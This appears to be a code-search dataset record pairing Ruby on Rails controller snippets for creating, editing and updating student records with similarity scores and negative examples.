"def create\n @studentgrade = Studentgrade.new(params[:student])\n\n respond_to do |format|\n if @studentgrade.save\n format.html { redirect_to @studentgrade, notice: 'Student was successfully created.' }\n format.json { render json: @studentgrade, status: :created, location: @studentgrade }\n else\n format.html { render action: \"new\" }\n format.json { render json: @studentgrade.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.create!(student_params)\n session[:student_id] = @student_id\n redirect_to students_path, notice: 'Hi, #{@student.name}. Welcome to the Bueller System.'\n end",
"def student(create_person = true)\n return student_person if student_person\n if create_person\n s = Student.find_or_create_by_system_key(system_key)\n else\n nil\n end\n end",
"def create\n @class_student = ClassStudent.new(class_student_params)\n\n respond_to do |format|\n if @class_student.save\n format.html { redirect_to @class_student, notice: 'Class student was successfully created.' }\n format.json { render action: 'show', status: :created, location: @class_student }\n else\n format.html { render action: 'new' }\n format.json { render json: @class_student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # binding.pry\n @student_id = StudentId.new(student_id_params)\n\n respond_to do |format|\n if @student_id.save\n if @enrolment\n format.html { redirect_to enrolment_student_ids_path(@enrolment), notice: 'Student was successfully created.' }\n else\n format.html { redirect_to student_ids_url, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student_id }\n end\n else\n format.html { render :new }\n format.json { render json: @student_id.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n @monedero = Monedero.new\n @monedero.student = @student\n @monedero.cantidad = 0\n @monedero.save\n\n @alumno = Alumno.new\n @alumno.email = @student.matricula + '@mail.com'\n @alumno.password = 'password'\n @alumno.student = @student\n @alumno.save\n\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def initialize(id)\n @student_id=id\n end",
"def add_student( student )\n CourseRegistration.create :user_id => student.id, :course_id => self.id\n end",
"def create\n @student = Student.new(student_params)\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n add_model_error_to_flash @student\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(params[:student])\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Alumno creado con éxito.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @student = Student.new(student_params)\n @user = User.find_by_id(params[:user])\n @student.user = @user\n @department = Department.find_by_id(params[:department])\n @student.department = @department\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\n @student_instrument = StudentInstrument.new(params[:student_instrument])\n\n @student = Student.find(params[:student_instrument][:student_id])\n\n respond_to do |format|\n if @student_instrument.save\n format.html { redirect_to @student, notice: 'Instrument was successfully added.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end"
] | [
"0.8074731",
"0.78298646",
"0.77185607",
"0.77027375",
"0.77027375",
"0.77027375",
"0.7628319",
"0.7512771",
"0.7481707",
"0.7481707",
"0.7481707",
"0.7481707",
"0.7481707",
"0.7481707",
"0.7378468",
"0.7347675",
"0.72915924",
"0.7056161",
"0.70536244",
"0.7026207",
"0.70239526",
"0.69679135",
"0.6955337",
"0.69465023",
"0.69465023",
"0.69465023",
"0.69465023",
"0.69465023",
"0.69465023",
"0.69465023",
"0.69349456",
"0.692416",
"0.6922752",
"0.6922409",
"0.6922409",
"0.6922409",
"0.6922409",
"0.6922409",
"0.6922409",
"0.6922409",
"0.6922409",
"0.6922409",
"0.6922409",
"0.6922409",
"0.69201714",
"0.69201714",
"0.691479",
"0.69095653",
"0.6899886",
"0.6896223",
"0.6894213",
"0.68898386",
"0.6854223",
"0.6844185",
"0.6839846",
"0.6839332",
"0.6836477",
"0.68228376",
"0.6810553",
"0.68073875",
"0.68061143",
"0.67986304",
"0.6783996",
"0.6778207",
"0.67775106",
"0.67691714",
"0.6764664",
"0.67561764",
"0.6733797",
"0.6702899",
"0.66968894",
"0.667241",
"0.66677237",
"0.66635954",
"0.66494536",
"0.6601919",
"0.65824705",
"0.6579117",
"0.6574048",
"0.65709865",
"0.6564396",
"0.65611553",
"0.653763",
"0.6534296",
"0.6526602",
"0.6525808",
"0.652503",
"0.65219665",
"0.6521758",
"0.6516174",
"0.65041375",
"0.6500406",
"0.64896226",
"0.6482116",
"0.6478838",
"0.64571977",
"0.6448155",
"0.64362633",
"0.64059055",
"0.63966537",
"0.6389029"
] | 0.0 | -1 |
show set_student is a private method which fetches the data about a student using the id of that student when the student is clicked in the web page, the information specific to that student is yielded. | def show
set_student
# check for the presesnce of a logged in student
if current_student.present?
# grab the course of the logged in student
@current_student_course_id = current_student.course_id
@course = Course.find_by_sql("SELECT course_name FROM courses WHERE courses.id = #{@current_student_course_id}")
#=============================================
# RECOMMENDATION
# interests1 is an array to hold the interests selected from the project_tags
interests1 = []
# check for the presence of interests selected from the project_tags for
# the student, then get the tag names and put them in an array
if !current_student.project_tags.empty?
current_student.project_tags.each do |pt|
# add it to the array
interests1.push(pt.tag_name.to_s)
end
end
# combined is an array to hold the interests from the projecttags and manually
# inputted interest
combined = []
# check for the presence of manually inputted tags (from additional_interest field of student)
if !current_student.additional_interest.blank?
# interest2 splits the tags by comma too create an array
interests2 = current_student.additional_interest.split(",")
# the two arrays (interests1 and interests2) are merger together in 'combined'
combined = (interests1 << interests2).flatten
# # if there are no additional_interest(s)
elsif !interests1.empty?
# combined is equal to the interest1 array
combined = interests1
end
# check if combined is not an empty array before computing for the projects
if !combined.empty?
# remove all unecessary spaces from combined array and make all downcase
combined = combined.map{|i| i.to_s.strip.downcase}
# remove all duplicate keywords from the combined array
# combined_uniq will store the new array without duplicates
combined_uniq = []
# iterate through each item in the combinend array and compare each word
# it it doeas not exist in comined_uniq array, add it to the array
for i in 0..combined.length
if !combined_uniq.include?combined[i].to_s
combined_uniq.push(combined[i])
end
end
# combined_interest is an array to hold the projects from the interest
# combined_interest = []
# each project that has the keyword is stored in the array
# note that the code has avoided SQl injection problems
combined_interest = combined_uniq.map{|i| Project.where("title like ? or description like ? or tags like ?", "%#{i}%", "%#{i}%", "%#{i}%")}
# array to hold non-duplicate projects which sends data to the view
@combined_interest_uniq = []
# iterate over the combined_interest array and remove all dupplicates.
# This is done by cheking for the presence of the object in combined_interest_uniq
# array before adding to it.
combined_interest.each do |i|
i.each do |j|
if !@combined_interest_uniq.include? j
@combined_interest_uniq.push(j)
end
end
end
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def show\n @student = set_student\n end",
"def set_student\n @student = Student.find_by(id: params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id] || params[:student_id])\n end",
"def set_student\n @student = current_school.students.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(session[:student_id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = User.students.find_by_id(params[:id])\n end",
"def set_student\n student = Student.find(params[:id])\n end",
"def set_studentinfo\n @studentinfo = Studentinfo.find(params[:id])\n end",
"def set_student_id\n @student_id = StudentId.find(params[:id])\n end",
"def set_student\n @user = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(current_student.id)\n end",
"def set_student\n @student = Student.find(current_student.id)\n end",
"def set_student\n @student = @group.students.find(params[:id])\n end",
"def show\n @student = find_student # Load the student mentioned by id in the route\n end",
"def set_student\n @student = Student.includes(:scores, :nutritions).find(params[:id])\n end",
"def set_student\n unless @student = @school.students.find_by_id(params[:id])\n redirect_to @school, :alert => \"That student does not exist.\"\n end\n end",
"def show\n \n @student= Student.find(params[:id])\n \n \n end",
"def set_find_student\n @find_student = FindStudent.find(params[:id])\n end",
"def set_admin_student\n @student = Student.find(params[:id])\n end",
"def set_class_student\n @class_student = ClassStudent.find(params[:id])\n end",
"def set_people_student\n @people_student = People::Student.find(params[:id])\n end",
"def set_student\n @student = Student.find_by_login(params[:login])\n end",
"def set_student_record\n @student_record = StudentRecord.find(params[:id])\n end",
"def find_student\n @student = Student.find(params[:id])\n end",
"def set_student_profile\n @student_profile = StudentProfile.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n # @teacher = Teacher.find(params[:teacher_id]) #if we need this later\n end"
] | [
"0.74995935",
"0.74460655",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335665",
"0.74335116",
"0.74114144",
"0.7373729",
"0.7330188",
"0.7330188",
"0.7330188",
"0.7316769",
"0.72893083",
"0.72893083",
"0.72893083",
"0.72893083",
"0.72893083",
"0.72893083",
"0.72893083",
"0.7261545",
"0.72311574",
"0.72005045",
"0.71701",
"0.71585315",
"0.7133436",
"0.70894647",
"0.7064877",
"0.7060021",
"0.69675046",
"0.6908006",
"0.6901404",
"0.68561",
"0.67728615",
"0.67721623",
"0.6747776",
"0.6727949",
"0.67236215",
"0.67086446",
"0.6708108",
"0.6705202"
] | 0.0 | -1 |
edit this fetches the existing student by the id for editing in the view using the defined private method set_student | def edit
set_student
@courses = Course.all
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def edit\n\t\t@student = Student.find(params[:id])\n\tend",
"def edit\n @student = find_student\n end",
"def edit\n @student = current_student\n end",
"def edit\n @student = Student.find(params[:id])\n render :edit\n end",
"def edit\n @student = Student.find(params[:id])\n render :edit\n end",
"def update\n set_student\n if @student.update_attributes(edit_params)\n redirect_to @student\n else\n render 'edit'\n end\n end",
"def edit\n\t\t#for each student, find that student using the student id\n\t\t@student = Student.find(params[:id])\n\t\t#each category is an array with 3 items - with @ so that view controller can find it, and displays those labels (on edit form)\n\t\t@cats = [\"email\", \"phone\", \"slack\"]\n\t\t#go to the new student page in order to edit\n\t\trender :new\n\t#wraps up \"edit\" action\n\tend",
"def set_student\n @student = Student.find(params[:id] || params[:student_id])\n end",
"def set_student\n @student = Student.find_by(id: params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def update\n\t\t@student = Student.find(params[:id])\n\n\t\tif @student.update(student_params)\n \tredirect_to @student\n \telse\n \trender 'edit'\n \tend\n\tend",
"def edit\n\t\tstudent = Student.find_student_by_id(params[:id])\n\t\tdojos \t= Dojo.all_dojos\n\t\thtml = render_to_string partial: \"students/templates/student_modal\", locals: { dojos: dojos, student: student, current_dojo: session[:current_dojo]}\n\n\t\trender json: { html: html, status: true }\n\trescue Exception\n\t\trender :json => { :status => false } \n\tend",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = Student.find(params[:id])\n end",
"def set_student\n @student = current_school.students.find(params[:id])\n end",
"def set_student\n student = Student.find(params[:id])\n end",
"def set_student_id\n @student_id = StudentId.find(params[:id])\n end",
"def set_student\n @student = User.students.find_by_id(params[:id])\n end",
"def update\n @student = current_district.students.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = \"#{edit_obj_link(@student)} was successfully updated.\".html_safe\n format.html { redirect_to(index_url_with_page) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def set_admin_student\n @student = Student.find(params[:id])\n end",
"def set_studentinfo\n @studentinfo = Studentinfo.find(params[:id])\n end",
"def edit\n @student = Student.find(params[:id])\n @dojo = Dojo.find(params[:dojo_id])\n @all_dojos = Dojo.all\n end",
"def update\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to(@student, :notice => 'Student was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_student_record\n @student_record = StudentRecord.find(params[:id])\n end",
"def edit\n #Validate\n id = params[:id]\n @course = Course.find(id)\n requires({'role' => ['admin','faculty'],'course_id' => id})\n if(@course.nil?)\n flash[:error] = 'Something has gone horribly wrong. A system administrator has been contacted.'\n else\n student_ids = StudentInCourse.where(:course_id => id).collect(&:user_id)\n ta_ids = TaForCourse.where(:course_id => id).collect(&:user_id)\n \n @students = User.find_all_by_id(student_ids)\n @tas = User.find_all_by_id(ta_ids)\n end\n end",
"def update\n @student = Student.find(params[:id])\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Студент був успішно оновлений.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n \n @student= Student.find(params[:id])\n \n \n end",
"def update\n @student = current_user.students.find(params[:id])\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student record is successfully updated.'\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end"
] | [
"0.8685823",
"0.8498613",
"0.81838715",
"0.81685984",
"0.7988674",
"0.75710183",
"0.75589204",
"0.7488999",
"0.7451517",
"0.74494",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.7449256",
"0.73927224",
"0.73927224",
"0.73927224",
"0.7383874",
"0.7308568",
"0.73035455",
"0.73035455",
"0.73035455",
"0.73035455",
"0.73035455",
"0.73035455",
"0.73035455",
"0.72852665",
"0.7256657",
"0.7254684",
"0.722006",
"0.7179332",
"0.71650904",
"0.7161258",
"0.7013495",
"0.70052856",
"0.6998619",
"0.6993728",
"0.6992803",
"0.69534737",
"0.6938916"
] | 0.7164356 | 92 |
update this fetches the existing student by the id for editing in the view and updates changes to that id if there is an error preventing update, it renders the edit form again | def update
set_student
if @student.update_attributes(edit_params)
redirect_to @student
else
render 'edit'
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n\t\t@student = Student.find(params[:id])\n\n\t\tif @student.update(student_params)\n \tredirect_to @student\n \telse\n \trender 'edit'\n \tend\n\tend",
"def update\n\t\t#for each student, find the student using student id\n\t\t@student = Student.find(params[:id])\n\t\t#update the student using the student params\n\t\[email protected](student_params)\n\t\t#go back to the student path when done\n\t\tredirect_to student_path(@student)\n\t#wraps up \"update\" action\n\tend",
"def update\n @student = current_district.students.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = \"#{edit_obj_link(@student)} was successfully updated.\".html_safe\n format.html { redirect_to(index_url_with_page) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n\n if @student.update_attributes(params[:student])\n format.html {render :action=>\"show\"}#redirect_to(\"/students/#{@student.id}\")\n else \n format.html { render :action =>\"edit\"}\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n\n end\n\n end",
"def edit\n\t\t@student = Student.find(params[:id])\n\tend",
"def update\n\tif session[:user].nil?\n\t\tredirect_to('/login/login')\n\tend\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to(@student, :notice => 'Student was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = current_user.students.find(params[:id])\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:notice] = 'Student record is successfully updated.'\n format.html { redirect_to(students_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @student.update_attributes(student_params)\n flash[:success] = \"Student updated\"\n redirect_to @student\n else\n render 'edit'\n end\n end",
"def edit\n @student = Student.find(params[:id])\n render :edit\n end",
"def update\n # @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to login_index_path, notice: 'Elev adus la zi.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to @student, notice: 'Студент був успішно оновлений.' }\n format.json { render :show, status: :ok, location: @student }\n else\n format.html { render :edit }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to students_path, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, notice: 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n @student = Student.find(params[:id])\n render :edit\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, :notice => 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to @student, :notice => 'Student was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def edit\n @student = find_student\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n format.html { redirect_to(@student, :notice => '学生信息成功更新') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n # if @student.update_attributes(params[:student])\n if @student.update_attributes(account_params)\n redirect_to student_url(@student), notice: 'Student was successfully updated'\n else\n render action: \"edit\"\n end\n end",
"def update\n @student = Student.find(params[:id])\n\n respond_to do |format|\n if @student.update_attributes(params[:student])\n flash[:success] = t('student.updated')\n format.html { redirect_to(students_path) }\n format.xml { head :ok }\n else\n flash[:error] = t('default_error_message')\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
